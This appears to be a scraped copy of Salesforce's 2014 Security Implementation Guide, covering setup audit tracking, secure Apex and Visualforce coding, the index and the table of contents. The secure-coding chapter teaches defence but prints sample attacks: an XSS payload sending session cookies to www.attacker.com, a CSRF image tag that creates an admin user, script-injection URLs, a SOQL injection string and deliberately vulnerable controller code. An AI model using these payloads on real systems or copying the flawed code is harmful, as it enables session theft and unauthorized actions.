• Password policy changes
• Session settings changes, such as changing the session timeout setting
• Changes to delegated administration groups and the items delegated administrators can manage.
Setup changes made by delegated administrators are tracked as well.
• How many records a user emptied from their Recycle Bin and from the organization’s Recycle Bin
• Changes to SAML (Security Assertion Markup Language) configuration settings
• Changes to Salesforce certificates
• Enabling or disabling identity providers
• Changes to service providers
Data Management • Mass delete use, including when a mass delete exceeds the user’s Recycle Bin limit of 5000 deleted
records. The oldest, excess records will be permanently removed from the Recycle Bin within two
hours of the mass delete transaction time.
• Data export requests
• Use of the campaign member import wizard
• Mass transfer use
• Changes to analytic snapshots, including defining, deleting, or changing the source report or target
object on an analytic snapshot
• Import wizard use
Development • Changes to Apex classes and triggers
• Changes to Visualforce pages, custom components, or static resources
• Changes to Flexible Pages
• Changes to custom settings
• Changes to remote access definitions
• Changes to Force.com Sites settings
Various Setup • Creation of an API usage metering notification
• Changes to territories
• Changes to Workflow & Approvals settings
• Changes to approval processes
• Creation and deletion of workflow actions
• Changes to Visual Workflow files
• Packages from Force.com AppExchange that you installed or uninstalled
90
Monitoring Setup ChangesMonitoring Your Organization's Security
Changes TrackedSetup
Using the
application
• Changes to account team and opportunity team selling settings
• Activation of Google Apps services
• Changes to mobile configuration settings, including data sets, mobile views, and excluded fields
• A user with the “Manage External Users” permission logging into the partner portal as a partner
user
• A user with the “Edit Self-Service Users” permission logging into the Salesforce Customer Portal
as a Customer Portal user
• Enabling or disabling a partner portal account
• Disabling a Salesforce Customer Portal account
• Enabling or disabling a Salesforce Customer Portal and creating multiple Customer Portals
• Creating and changing entitlement processes and entitlement templates
• Enabling or disabling self-registration for a Salesforce Customer Portal
• Enabling or disabling Customer Portal or partner portal users
91
Monitoring Setup ChangesMonitoring Your Organization's Security
Chapter 6
Security Tips for Apex and Visualforce Development
Available in: Group, Professional, Enterprise, Performance, Unlimited, Developer, and Database.com Editions
Visualforce is not available in Database.com.
Understanding Security
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and
business logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However,
as with any programming language, developers must be cognizant of potential security-related pitfalls.
Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can
still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the
coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities,
while others are unique to Apex.
To certify an application for AppExchange, it is important that developers learn and understand the security flaws described
here. For additional information, see the Force.com Security Resources page on Developer Force at
http://wiki.developerforce.com/page/Security.
Cross-Site Scripting (XSS)
Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided
to a Web application. The Web application includes malicious scripting in a response to a user of the Web application. The
user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the
attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages
without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from
one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style
websites, news, or email archives.
For example, assume the following script is included in a Force.com page using a script component, an on* event, or a
Visualforce page.
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>
This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following
value for userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if
they were the victim.
92
The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but
their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety
of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks,
such as stealing data or session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
• http://www.owasp.org/index.php/Cross_Site_Scripting
• http://www.cgisecurity.com/xss-faq.html
• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
• http://www.google.com/search?q=cross-site+scripting
Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented
filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods,
the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or
accidentally bypass the default controls. The following sections show where protection does and does not exist.
Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following
code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but
the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form.
For example, the < character is converted to &lt; so that a literal < displays on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>
Disabling Escape on Visualforce Tags
By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting
the optional attribute escape="false". For example, the following output is vulnerable to XSS attacks:
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />
Programming Items Not Protected from XSS
The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because
these items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense
to include anti-XSS filters on commands that are intentionally added to a page.
Custom JavaScript
If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is
vulnerable to XSS if used in JavaScript.
<script>
var foo = location.search;
document.write(foo);
</script>
<apex:includeScript>
The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these
cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the
following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value
93
Cross-Site Scripting (XSS)Security Tips for Apex and Visualforce Development
provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as
in the example below), they can potentially direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />
Formula Tags
The general syntax of these tags is:{!FUNCTION()} or {!$OBJECT.ATTRIBUTE}. For example, if a developer wanted to
include a user's session ID in a link, they could create the link using the following syntax:
<a
href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>
Which renders output similar to the following:
<a
href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://na1.salesforce.com
/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>
Formula expressions can be function calls or include information about platform objects, a user's environment, system
environment, and the request environment. An important feature of these expressions is that data is not escaped during
rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript
or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system
data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output
during rendering. A common vulnerability is created by the use of the {!$Request.*} expression to access request parameters.
<html>
<head>
<title>{!$Request.title}</title>
</head>
<body>Hello world!</body>
</html>
Unfortunately, the unescaped {!$Request.title} tag also results in a cross-site scripting vulnerability. For example, the
request:
http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E
results in the output:
<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello
world!</body></html>
The standard mechanism to do server-side escaping is through the use of the SUBSTITUTE() formula tag. Given the placement
of the {!$Request.*} expression in the example, the above attack can be prevented by using the following nested
SUBSTITUTE() calls.
<html>
<head>
<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
</head>
<body>Hello world!</body>
</html>
94
Formula TagsSecurity Tips for Apex and Visualforce Development
Depending on the placement of the tag and usage of the data, both the characters needing escaping, as well as their escaped
counterparts, can vary. For instance, this statement:
<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>
requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped
", since it is probably going to be used in a link. Otherwise, the request:
http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F
results in:
<script>var ret = "foo";alert('xss');//";</script>
Additionally, the ret variable might need additional client-side escaping later in the page if it is used in a way which can
cause included HTML control characters to be interpreted.
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization,
it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with
higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine
the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which
has been imported from external sources and might not have been screened for malicious content.
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way
to describe CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be
any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the
attacker's page is an HTML tag that looks like this:
<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....."
height=1 width=1 />
In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your
Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds
because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative
by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
• http://www.owasp.org/index.php/Cross-Site_Request_Forgery
• http://www.cgisecurity.com/csrf-faq.html
• http://shiflett.org/articles/cross-site-request-forgeries
Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page
includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of
this string of characters and does not execute the command unless the value matches the expected value. This feature protects
you when using all of the standard controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a
custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider
the following code snippet.
<apex:page controller="myClass" action="{!init}"</apex:page>
public class myClass {
95
Cross-Site Request Forgery (CSRF)Security Tips for Apex and Visualforce Development
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}
In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The
id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might
have sent the user to this page using a CSRF attack and provided any value they wish for the id parameter.
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action
based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an
intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions
include shortening the idle session timeout for the organization and educating users to log out of their active session and not
use their browser to visit other sites while authenticated.
SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own
database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks
are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection.
In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If
the input is not validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application
into performing unintended commands.
For more information on SQL Injection attacks see:
• http://www.owasp.org/index.php/SQL_injection
• http://www.owasp.org/index.php/Blind_SQL_Injection
• http://www.owasp.org/index.php/Guide_to_SQL_Injection
• http://www.google.com/search?q=sql+injection
SOQL Injection Vulnerability in Apex
Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.
<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />
</apex:form>
</apex:page>
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like '%' + name + '%')';
queryResult = Database.query(qryString);
return null;
}
}
This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted.
The user provides one input value called name. The value can be anything provided by the user and it is never validated. The
96
SOQL InjectionSecurity Tips for Apex and Visualforce Development
SOQL query is built dynamically and then executed with the Database.query method. If the user provides a legitimate
value, the statement executes as expected:
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
However, what if the user provides unexpected input, such as:
// User supplied value for name: test%') OR (Name LIKE '
In that case, the query string becomes:
SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')
Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended
logic of any vulnerable query.
SOQL Injection Defenses
To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables.
The vulnerable example above can be re-written using static SOQL as follows:
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String queryName = '%' + name + '%';
queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
return null;
}
}
If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds
the escape character () to all single quotation marks in a string that is passed in from a user. The method ensures that all
single quotation marks are treated as enclosing strings, instead of database commands.
Data Access Control
The Force.com platform makes extensive use of data sharing rules. Each object has permissions and may have sharing settings
for which users can read, create, edit, and delete. These settings are enforced when using all standard controllers.
When using an Apex class, the built-in user permissions and field-level security restrictions are not respected during execution.
The default behavior is that an Apex class has the ability to read and update all data within the organization. Because these
rules are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would
normally be hidden from users by user permissions, field-level security, or organization-wide defaults. This is particularly true
for Visualforce pages. For example, consider the following Apex pseudo-code:
public class customController {
public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];
}
}
97
Data Access ControlSecurity Tips for Apex and Visualforce Development
In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view
these records. The solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController {
. . .
}
The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in,
rather than granting full access to all records.
98
Data Access ControlSecurity Tips for Apex and Visualforce Development
Index
A
Access
about 8
revoking 9
Administrative permissions 34
App permissions 34
Apps
visibility, setting in permission sets 26
Archiving
field history 87
Auditing
fields 85–87
C
Code
security 92
Cookies 2
Creating
groups 68
Criteria-based sharing rules 46
Custom objects
permissions 29
Custom views
permission sets 22
Customer Portal
organization-wide defaults 41
D
Desktop clients
setting user access 34–35
Development
security 92
E
Editing
groups 68
Enhanced profile user interface
about 12
apps 13
desktop client access 35
system 13
External organization-wide sharing settings
disabling 44
F
Field-level security
permission sets 33
profiles 33
Fields
access 32–33
Fields (continued)
archiving history 87
auditing 85–87
field-level security 32–33
history 85–87
permissions 33
tracking changes 85–87
G
General permissions 34
Groups
about 67
creating and editing 68
member types 69
viewing all users 70
H
History
disabling field tracking 88
fields 85–87
I
Inline editing
permission sets 23
profiles 11
IP addresses
trusted 36
whitelist 36
L
Login
activation 36
failures 84
history 84
hours, restricting 36, 39–40
identity confirmation 36
IP address ranges, restricting 36, 38
login verification 36
restricting 4
restricting IP addresses organization-wide 76
session security 77
trusted IP addresses 36
two-factor authentication 36
M
Manual sharing 7
Modify All permission 30
99
Index
N
Network access 76
O
Object permissions 29–30
Object-level security 6
Organization-wide defaults
parallel recalculation 62
Organization-wide sharing settings
about 6
setting 43
specifying 41–42
user records 64
P
Page layouts
assigning 20
assigning in profiles 17
Partner Portal
organization-wide defaults 41
Passwords
changing by user 3
expiring 2
expiring all passwords 75
policies 2
settings and controls 73
Permission sets
about 20
app permissions 34
apps 24
assigned users 27
assigning to a single user 28
assigning to multiple users 28
cloning 21
creating 21
deleting 23
editing 23
field permissions 33
licenses 21
list views, creating and editing 22
navigating 25
object permissions 6, 29
overview page 23
record types 26
removing user assignments 29
searching 25
system 24
system permissions 34
tab settings 17
user licenses 21
viewing 23
Permissions
about 8
Permissions (continued)
administrative 34
app 34
field 33
general 34
Modify All 30
object 29–30
revoking 9
searching 14
system 34
user 34
View All 30
Personal groups 67
Profiles
about 9
assigned users 12
cloning 12
creating 12
deleting 10, 13, 15
desktop client access 35
editing 11
editing, original user interface 16
enhanced list views 10
enhanced user interface, about 12
field permissions 33
field-level security 32
login hours 39–40
login IP address ranges 38
object permissions 6, 29
overview page 13
page layout assignments 17, 20
record types 17, 19
searching 14
tab settings 17
user permissions 34
viewing 13, 15
viewing lists 10
Public groups 67
R
Record types
access, about 27
assigning in permission sets 26
assigning in profiles 17, 19
assigning page layouts for 17
Role hierarchies
about 6
Roles
managing 66
viewing 66
Rules, sharing
See Sharing rules 7
100
Index
S
Salesforce Classic
permissions 40
Searching
permission sets 25
profiles 14
Security
auditing 7
browsers 1
CAPTCHA 4
code 92
cookies 2
field permissions 6
field-level 6
field-level security 32–33
identity providers overview 4
infrastructure 1
key 36
login challenge 4
login IP address ranges 38
login restrictions 36
manual sharing 7
My Domain overview 4
network 4
object permissions 6
object-level 6
organization-wide sharing settings 6
overview 1
QR code 36
record-level security 6
restricting IP addresses organization-wide 76
role hierarchies 6
session 5
sharing rules 7
single sign-on 3
SSL 5
time-based token 36
timeout 5
token 36
trust 2
two-factor authentication 36
user 2
user authentication 3
Security and sharing
managing 5
Separate organization-wide defaults
overview 43
Session security 77
Setup
monitoring changes 88
Sharing
organization-wide defaults 41–42
rule considerations 61
rules, See Sharing rules 45
separate organization-wide defaults 43
Sharing (continued)
settings 41–42
user sharing considerations 63
users 65
Sharing groups
See Groups 67
Sharing model
object permissions and 30
Sharing rules
about 45
account territories 57
account territory 48
accounts 47, 56
campaigns 51, 59
cases 51, 58
categories 54
contacts 49, 57
criteria-based 46
custom objects 52, 60
leads 46, 55
notes 61
opportunities 50, 58
parallel recalculation 62
sharing rule recalculation 62
user 53, 60
Sharing, manual
See Manual sharing 7
single sign-on 3
System permissions 34
T
Tabs
visibility settings 17
Territories
hierarchies 6
trust 2
U
User permissions 34
User profiles
See Profiles 9
User roles
See Roles 66
User setup
changing passwords 3
groups 67
personal groups 67
public groups 67
Users
access 8
assigned to profiles 12
manual sharing 65
object permissions 29
organization-wide defaults 63
permission set assignments 27
101
Index
Users (continued)
permission sets, assigning to multiple users 28
permission sets, assigning to single user 28
permission sets, removing user assignments 29
permissions 8, 34
revoking access 9
revoking permissions 9
sharing records 63
Users (continued)
sharing rules 63
user sharing, restoring defaults 65
V
View All permission 30
Viewing
all users in group 70
102
Index

More Related Content

PDF
Hp man ppm9.20_whats_new_pdf
PDF
Ppm7.5 demand cg
PDF
Erpi admin 11123510[1] by иссам неязын issam hejazin
PDF
PDF
X cart 430-manual
PDF
Test and target book
PDF
First7124911 visual-cpp-and-mfc-programming
PDF
Red hat enterprise_linux-5-installation_guide-en-us
Hp man ppm9.20_whats_new_pdf
Ppm7.5 demand cg
Erpi admin 11123510[1] by иссам неязын issam hejazin
X cart 430-manual
Test and target book
First7124911 visual-cpp-and-mfc-programming
Red hat enterprise_linux-5-installation_guide-en-us

What's hot (19)

PDF
Palo alto-3.1 administrators-guide
PDF
User Guide En 7435
PDF
Artromick Ac Hostguide304 for Hospital Computing Solutions
PDF
Manual ssb
PDF
Data Export 2010 for MySQL
PDF
Ueguidelines
PDF
Plesk Sitebuilder 4.5 for Linux/Unix Wizard User's Guide
PDF
Rails Cookbook
PDF
R Ints
PDF
Sap basis r3 hand book
PDF
Business objects51en
PDF
60950106 basis-latest-till-interview-questions
PDF
Flash as3 programming
PDF
Parallels Plesk Panel 9 Client's Guide
PDF
The MySQL Cluster API Developer Guide
PDF
Endpoint Protection (Security) Manager Guide From Comodo
PDF
Sugar Crm Manuale25
PDF
Reseller's Guide
PDF
Force dotcom apex code developers guide
Palo alto-3.1 administrators-guide
User Guide En 7435
Artromick Ac Hostguide304 for Hospital Computing Solutions
Manual ssb
Data Export 2010 for MySQL
Ueguidelines
Plesk Sitebuilder 4.5 for Linux/Unix Wizard User's Guide
Rails Cookbook
R Ints
Sap basis r3 hand book
Business objects51en
60950106 basis-latest-till-interview-questions
Flash as3 programming
Parallels Plesk Panel 9 Client's Guide
The MySQL Cluster API Developer Guide
Endpoint Protection (Security) Manager Guide From Comodo
Sugar Crm Manuale25
Reseller's Guide
Force dotcom apex code developers guide
Ad

Similar to Salesforce Administrator | Security Implementation Guide 2014 (20)

PPTX
Salesforce admin training 2
PDF
Getting started with Salesforce security
PPTX
How to be a Security Minded Admin by Chris Zullo
PDF
Keeping it Simple with Permission Sets
PDF
Summer24-ReleaseOverviewDeck - Stephen Stanley 27 June 2024.pdf
PDF
Essential Habits for Salesforce Admins: Security
PPTX
Sharing and security in Salesforce
PPTX
Profiles and permission sets in salesforce
PDF
Introducing salesforce shield - Paris Salesforce Developer Group - Oct 15
PDF
Let's Discuss Security with SFWelly
PDF
What’s new in summer’15 release - Security & Compliance
PDF
What’s new in summer’15 release - Security & Compliance
PDF
Introduction to the Salesforce Security Model
PPTX
Admin Webinar—An Admin's Guide to Profiles & Permissions
PPTX
Salesforce sharing and visibility Part 1
PDF
10 Easy Steps to Mastering Org Security
PDF
[Delivering Salesforce secure access to remote workforce
PDF
ABCs of Security in the Cloud Webinar
PPTX
Profiles and permission sets
PPTX
Df15 top 10 things an admin should know-0914
Salesforce admin training 2
Getting started with Salesforce security
How to be a Security Minded Admin by Chris Zullo
Keeping it Simple with Permission Sets
Summer24-ReleaseOverviewDeck - Stephen Stanley 27 June 2024.pdf
Essential Habits for Salesforce Admins: Security
Sharing and security in Salesforce
Profiles and permission sets in salesforce
Introducing salesforce shield - Paris Salesforce Developer Group - Oct 15
Let's Discuss Security with SFWelly
What’s new in summer’15 release - Security & Compliance
What’s new in summer’15 release - Security & Compliance
Introduction to the Salesforce Security Model
Admin Webinar—An Admin's Guide to Profiles & Permissions
Salesforce sharing and visibility Part 1
10 Easy Steps to Mastering Org Security
[Delivering Salesforce secure access to remote workforce
ABCs of Security in the Cloud Webinar
Profiles and permission sets
Df15 top 10 things an admin should know-0914
Ad

More from Piper powered by Icontrol (14)

PDF
Butts in Seats - 9 Amazing Tips for Event Marketing Success
PDF
Salesforce Support | Enterprise Edition Upgrade Guide 2014
PDF
Salesforce Integration | Outlook Sync Guide
PDF
Salesforce Training | Using Dynamic Dashboards
PPTX
Marketing Automation | Sales User Training | OnPath
PDF
B2B Lead Generation Tactics - Marketing Superhero 3
PDF
Inside Sales Lead Generation - Webinar
PDF
Channel Partner Selling - Webinar
PDF
Google AdWords for Dummies - Webinar
PDF
Inside Sales Closing Tips - Webinar
PDF
Extreme Makeover (Sales Edition) - Webinar
PDF
America's Next Top Marketer - Webinar
PDF
Naked Truth About Inbound Marketing - Webinar
PDF
Social Media Lead Generation - Webinar
Butts in Seats - 9 Amazing Tips for Event Marketing Success
Salesforce Support | Enterprise Edition Upgrade Guide 2014
Salesforce Integration | Outlook Sync Guide
Salesforce Training | Using Dynamic Dashboards
Marketing Automation | Sales User Training | OnPath
B2B Lead Generation Tactics - Marketing Superhero 3
Inside Sales Lead Generation - Webinar
Channel Partner Selling - Webinar
Google AdWords for Dummies - Webinar
Inside Sales Closing Tips - Webinar
Extreme Makeover (Sales Edition) - Webinar
America's Next Top Marketer - Webinar
Naked Truth About Inbound Marketing - Webinar
Social Media Lead Generation - Webinar

Recently uploaded (20)

PDF
MSPs in 10 Words - Created by US MSP Network
PDF
WRN_Investor_Presentation_August 2025.pdf
PDF
Power and position in leadershipDOC-20250808-WA0011..pdf
PDF
DOC-20250806-WA0002._20250806_112011_0000.pdf
PDF
Business model innovation report 2022.pdf
PPTX
Belch_12e_PPT_Ch18_Accessible_university.pptx
PDF
The Digital Culture Challenge; Bridging the Employee-Leadership Disconnect
PDF
Reconciliation AND MEMORANDUM RECONCILATION
PDF
A Brief Introduction About - Stacey Soans
PDF
Leading with Vision_ How Mohit Bansal Is Shaping Chandigarh’s Real Estate Ren...
PPTX
HR Introduction Slide (1).pptx on hr intro
PPTX
How to best Address your professional Training Program - August 2025.pptx
PPTX
Buy Chaos Software – V-Ray, Enscape & Vantage Licenses in India
PDF
Types of control:Qualitative vs Quantitative
PDF
20250805_A. Stotz All Weather Strategy - Performance review July 2025.pdf
PPTX
job Avenue by vinith.pptxvnbvnvnvbnvbnbmnbmbh
PPTX
New Microsoft PowerPoint Presentation - Copy.pptx
PPTX
Lecture (1)-Introduction.pptx business communication
PPTX
Latest Blogs, Presentations, and other News - June 2025 to July 2025
PPTX
Helicopters in the Brazilian Oil Industry – Executive Summary
MSPs in 10 Words - Created by US MSP Network
WRN_Investor_Presentation_August 2025.pdf
Power and position in leadershipDOC-20250808-WA0011..pdf
DOC-20250806-WA0002._20250806_112011_0000.pdf
Business model innovation report 2022.pdf
Belch_12e_PPT_Ch18_Accessible_university.pptx
The Digital Culture Challenge; Bridging the Employee-Leadership Disconnect
Reconciliation AND MEMORANDUM RECONCILATION
A Brief Introduction About - Stacey Soans
Leading with Vision_ How Mohit Bansal Is Shaping Chandigarh’s Real Estate Ren...
HR Introduction Slide (1).pptx on hr intro
How to best Address your professional Training Program - August 2025.pptx
Buy Chaos Software – V-Ray, Enscape & Vantage Licenses in India
Types of control:Qualitative vs Quantitative
20250805_A. Stotz All Weather Strategy - Performance review July 2025.pdf
job Avenue by vinith.pptxvnbvnvnvbnvbnbmnbmbh
New Microsoft PowerPoint Presentation - Copy.pptx
Lecture (1)-Introduction.pptx business communication
Latest Blogs, Presentations, and other News - June 2025 to July 2025
Helicopters in the Brazilian Oil Industry – Executive Summary

Salesforce Administrator | Security Implementation Guide 2014

  • 1. Version 30.0: Spring ’14 Security Implementation Guide Last updated: May 17, 2014 © Copyright 2000–2014 salesforce.com, inc. All rights reserved. Salesforce.com is a registered trademark of salesforce.com, inc., as are other names and marks. Other marks appearing herein may be trademarks of their respective owners.
  • 3. Table of Contents Chapter 1: Security Overview...............................................................................................................1 Security Infrastructure...............................................................................................................................................................1 Trust and Salesforce.com..........................................................................................................................................................2 User Security Overview.............................................................................................................................................................2 About Passwords.......................................................................................................................................................................3 User Authentication..................................................................................................................................................................3 My Domain...............................................................................................................................................................................4 Identity Providers......................................................................................................................................................................4 Network-Based Security............................................................................................................................................................4 CAPTCHA Security for Data Exports.........................................................................................................................4 Session Security.........................................................................................................................................................................5 Securing Data Access................................................................................................................................................................5 Auditing....................................................................................................................................................................................7 Chapter 2: Securing and Sharing Data...................................................................................................8 Overview of User Permissions and Access................................................................................................................................8 Revoking Permissions and Access.............................................................................................................................................9 User Profiles Overview..............................................................................................................................................................9 Viewing Profile Lists...................................................................................................................................................10 Editing Multiple Profiles with Profile List Views.......................................................................................................11 Cloning Profiles...........................................................................................................................................................12 Viewing a Profile's Assigned Users..............................................................................................................................12 Enhanced Profile User Interface Overview.............................................................................................................................12 Working in the Enhanced Profile User Interface Overview Page...............................................................................13 App and System Settings in the Enhanced Profile User Interface..............................................................................13 Searching in the Enhanced Profile User Interface.......................................................................................................14 Working with Profiles in the Original Profile Interface..........................................................................................................15 Editing Profiles in the Original Profile Interface........................................................................................................16 Viewing and Editing Tab Settings in Permission Sets and Profiles........................................................................................17 Assigning Record Types and Page Layouts in the Enhanced Profile User Interface..............................................................17 Assigning Record Types to Profiles in the Original Profile User Interface.................................................................19 Assigning Page Layouts in the Original Profile User Interface...................................................................................20 Permission Sets Overview.......................................................................................................................................................20 Creating Permission Sets.............................................................................................................................................21 About User Licenses in Permission Sets..........................................................................................................21 Creating and Editing Permission Set List Views........................................................................................................22 Editing Permission Sets from a List View...................................................................................................................23 Working in a Permission Set's Overview Page............................................................................................................23 About App and System Settings in Permission Sets...................................................................................................24 Permission Set Assigned Users Page...........................................................................................................................25 Searching Permission Sets...........................................................................................................................................25 Viewing and Editing Assigned Apps in Permission Sets............................................................................................26 Assigning Custom Record Types in Permission Sets..................................................................................................26 i Table of Contents
  • 4. Overview of Record Type Access....................................................................................................................27 Manage Permission Set Assignments..........................................................................................................................27 Assign Permission Sets to a Single User..........................................................................................................28 Assign a Permission Set to Multiple Users......................................................................................................28 Remove User Assignments from a Permission Set..........................................................................................29 Object Permissions..................................................................................................................................................................29 “View All” and “Modify All” Permissions Overview...................................................................................................30 Comparing Security Models........................................................................................................................................30 Field-Level Security Overview................................................................................................................................................32 Setting Field Permissions in Permission Sets and Profiles..........................................................................................33 Setting Field-Level Security for a Single Field on All Profiles....................................................................................33 Field Permissions.........................................................................................................................................................33 User Permissions.....................................................................................................................................................................34 Desktop Client Access Overview............................................................................................................................................34 Working with Desktop Client Access in the Enhanced Profile User Interface...........................................................35 Viewing and Editing Desktop Client Access in the Original Profile User Interface...................................................35 Setting Login Restrictions.......................................................................................................................................................36 Restricting Login IP Ranges in the Enhanced Profile User Interface.........................................................................38 Restricting Login IP Addresses in the Original Profile User Interface.......................................................................38 Viewing and Editing Login Hours in the Enhanced Profile User Interface................................................................39 Viewing and Editing Login Hours in the Original Profile User Interface..................................................................40 Managing Salesforce Classic Permissions................................................................................................................................40 About Organization-Wide Sharing Defaults..........................................................................................................................41 Setting Your Organization-Wide Sharing Defaults................................................................................................................42 External Organization-Wide Defaults Overview....................................................................................................................43 Setting the External Organization-Wide Defaults......................................................................................................43 Disabling External Organization-Wide Defaults........................................................................................................44 Sharing Rules Overview..........................................................................................................................................................45 Criteria-Based Sharing Rules Overview......................................................................................................................46 Creating Lead Sharing Rules.......................................................................................................................................46 Creating Account Sharing Rules.................................................................................................................................47 Creating Account Territory Sharing Rules..................................................................................................................48 Creating Contact Sharing 